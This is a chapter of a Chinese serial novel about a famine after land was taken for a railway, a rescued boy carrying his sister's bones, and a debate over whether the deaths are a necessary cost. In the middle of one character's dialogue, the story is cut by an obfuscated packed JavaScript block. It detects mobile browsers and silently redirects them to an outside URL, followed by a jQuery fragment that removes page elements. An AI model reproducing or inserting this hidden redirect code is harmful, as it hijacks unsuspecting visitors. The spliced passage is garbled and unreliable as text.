从北边回来之后，阿钝变了。
他还是每天早起去看那台蒸汽机，还是蹲在旁边盯着那些转动的零件。但他不说话了。以前他一边看一边念叨，问这个问那个，现在他只是蹲着，盯着，一动不动。
李默知道为什么。
那几十户人家，那些扛着锄头站在路中间的人，那个老头说的“钱花完了呢”——这些东西压在阿钝心里，压得他喘不过气。
阿箬也知道。
有一天她蹲在阿钝旁边，跟他一起看那台机器。
“想什么呢？”
阿钝没说话。
阿箬也不催。她就蹲在那儿，陪着。
过了很久，阿钝开口了。
“阿箬姐。”
“嗯。”
“你说，那些人现在咋样了？”
阿箬知道他说的是谁。
“不知道。”她说。
阿钝低下头。
“我老想着他们。”他说，“想着那个老头，想着他说的那句话。钱花完了呢——花完了咋办？”
阿箬没回答。
阿钝抬起头，看着她。
“阿箬姐，你恨过吗？”
阿箬愣了一下。
“恨什么？”
阿钝想了想。
“恨这个世道。”
阿箬沉默了一会儿。
“恨过。”她说。
“后来呢？”
“后来不恨了。”
“为啥？”
阿箬看着那台机器。
“因为恨没用。”她说，“有用的是活着。活着，才能看见那些该死的人死。”
阿钝不懂。
但他记住了。
征地的事，朝廷办得很快。
文书发下去，官吏下乡，量地，登记，发钱。那些被征了地的人家，拿着钱，要么去投奔亲戚，要么往别处搬。
但也有人不搬。
周老倔带来的消息。
那天他出去买铁，回来的时候脸色很难看。
“北边那几个村子，”他说，“有人没搬。”
李默放下手里的图纸。
“为什么？”
“搬不动。”周老倔说，“有的家里有老人，走不了。有的拿了钱，没地方去。有的……有的就是不搬，说死也要死在自己地里。”
他顿了顿。
“官兵去了。赶人。有人被打伤了。”
李默的手攥紧了。
“伤得重吗？”
周老倔摇了摇头。
“不知道。但听说有一个，被抬出来的。”
李默没说话。
他站起来，走到窗边，看着外面。
院子里，那台蒸汽机还在转。阿钝蹲在旁边，盯着它。阿箬站在远处，也盯着它。
他们都在看。
但他们不知道，这台机器每转一天，外面就会多一分动静。
半个月后，动静来了。
不是暴动，是更安静的东西——饥荒。
正月还没过完，汴梁城外就开始有人饿死。先是老人，然后是孩子。先是一个两个，然后是五个十个。
死的都是那些人——被征了地、没处去、钱花完了的人。
李默去了一趟北边。
他没骑马，走着去的。走到那些村子，一个一个地看。
第一个村子，空了。房子还在，门开着，里面没有人。地上有砸碎的碗，有扔下的衣服，有来不及带走的东西。墙角的灶台还留着烧过的痕迹，锅还在，里面长出了霉。
第二个村子，还有几个人。一个老妇人坐在门口，眼睛空空的，看着远处。李默走过去，她没看他。他问话，她没回答。他走了，她还在那儿坐着，一动不动。
第三个村子，有人死了。尸体躺在路边的沟里，脸已经认不出来了。没人管，没人埋。几只野狗在附近转，看见李默过来，跑开了。
第四个村子，有个孩子蹲在墙角，抱着一个包袱。
李默走过去，蹲下来，看着他。
那孩子七八岁，瘦得只剩一把骨头，眼睛大得吓人。他看见李默，没动，只是把包袱抱得更紧了。
“你叫什么？”李默问。
孩子不说话。
李默看着那个包袱。
“这是什么？”
孩子低下头，把包袱打开。
里面是一堆骨头。小小的，细细的，像是小孩的手骨和脚骨。
“这是我妹妹。”孩子说，声音很轻，“我娘让我埋了。我怕她一个人害怕，就挖出来了。”
他抬起头，看着李默。
“你认识我妹妹吗？”
李默看着那双眼睛。空空的，什么都没有的。
他想起阿箬。想起阿箬第一次来将作监的时候，那双眼睛也是这样——空的，什么都没有的。
“你叫什么？”他问。
孩子想了想。
“狗子。”
李默点了点头。
“狗子，跟我走吗？”
狗子看着他。
“去哪儿？”
李默想了想。
“去一个地方。”他说，“那里有吃的，有住的，有人教你本事。”
狗子沉默了一会儿。
然后他低下头，把那个包袱重新包好，抱在怀里。
“我妹妹能一起去吗？”
李默看着那个包袱，看着那些小小的骨头。
“能。”他说。
狗子站起来，站在他面前。
“那走吧。”
消息传进城，传到将作监的时候，李默正带着狗子往回走。
阿钝跑出来，看见狗子，愣了一下。
“师父，这是……”
李默没说话。他把狗子交给阿箬，让她安排住的地方。
阿箬看着那个孩子，看着那个包袱，什么都没问。
她只是蹲下来，看着狗子的眼睛。
“你叫什么？”
“狗子。”
阿箬点了点头。
“狗子，跟我来。”
她带着他走了。
阿钝站在李默旁边，看着他们的背影。
“师父，”他小声说，“他那个包袱里……”
“是他妹妹的骨头。”李默说。
阿钝愣住了。
“他……他抱着他妹妹的骨头？”
李默点了点头。
阿钝不说话了。
他看着那个方向，看着狗子瘦小的背影，看着那个包袱在他怀里一晃一晃的。
他的眼眶红了。
但他没哭。
那天夜里，李默没睡。
他坐在院子里，看着那台蒸汽机。
月亮很亮，照得机器上的零件泛着光。那些光一闪一闪的，像是在说话。
阿箬走过来，在他旁边坐下。
“狗子睡了。”她说。
李默点了点头。
“他睡之前，一直在擦那些骨头。”
李默没说话。
阿箬看着那台机器。
“他问我，我妹妹能活过来吗。”
李默转过头，看着她。
“你怎么说？”
阿箬想了想。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401611|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“我说，活不过来。但你活着，她就还在。”
李默没说话。
阿箬站起来。
“我娘死的时候，我也想过，她能不能活过来。后来知道不能。但她还在。”
她指着自己的胸口。
“在这儿。”
她走了。
李默坐在那儿，看着她的背影，看了很久。
远处传来打更的声音。
“咚——咚——咚——”
三更了。
他站起来，走回屋里。
路过狗子住的那间屋子时，他听见里面有声音。
很轻，很细，像是有人在说话。
他停下来，侧耳听。
“妹妹，我今天到一个新地方了。有吃的，有住的，有人教我本事。等我学会了，以后就不用饿肚子了。你也不用饿肚子了。”
声音停了。
过了一会儿，又响起来。
“你冷吗？我把衣服给你盖上。”
李默站在门口，听着那些话。
他没进去。
只是站在那儿，听着。
风吹过来，很冷。
但他没动。
第二天早上，李默去找郭荣。
郭荣在那个小院子里，正在看一张地图。看见李默进来，他抬起头。
“李师傅？有事？”
李默站在他面前。
“外面在饿死人。”他说。
郭荣的手顿了一下。
“我知道。”
李默看着他。
“你知道？”
郭荣放下地图。
“我知道。”他说，“每天都有消息送过来。哪村死了人，哪家卖了孩子，我都知道。”
李默沉默了一会儿。
“那你打算怎么办？”
郭荣看着他。
“你希望我怎么办？”
李默没说话。
郭荣站起来，走到窗边。
“李师傅，”他说，“你以为我不难受吗？”
他看着窗外。
“我小时候见过饥荒。见过人吃人。见过有人把孩子卖了，就为了换一斗粮食。那些场面，我每天晚上都梦到。”
他转过身，看着李默。
“但你知道吗？那些人死，是因为没有活路。契丹人一来，杀一批，抓一批。旱灾一来，饿死一批。年景不好，又饿死一批。年年死，年年有。”
他走回来，站在李默面前。
“你这铁路修成了，契丹人就过不来了。旱灾的时候，粮能从别处运过来。年景不好的时候，人能去别处找活干。”
他看着李默的眼睛。
“现在死的人，是代价。但不是白死的。”
李默站在那里，听着这些话。
他知道郭荣说得对。
但他也知道，那些眼睛，他忘不掉。
“郭公子。”他说。
“嗯？”
“那个孩子，叫狗子的。”
郭荣看着他。
李默说：
“他抱着他妹妹的骨头。他问他妹妹能不能活过来。”
郭荣没说话。
李默看着他。
“你小时候见过那些场面。你说你每天晚上都梦到。”
他顿了顿。
“你梦到的时候，会哭吗？”
郭荣沉默了很久。
然后他说：
“不会。”
李默看着他。
郭荣也看着他。
“我早就不会哭了。”他说，“但我会记着。”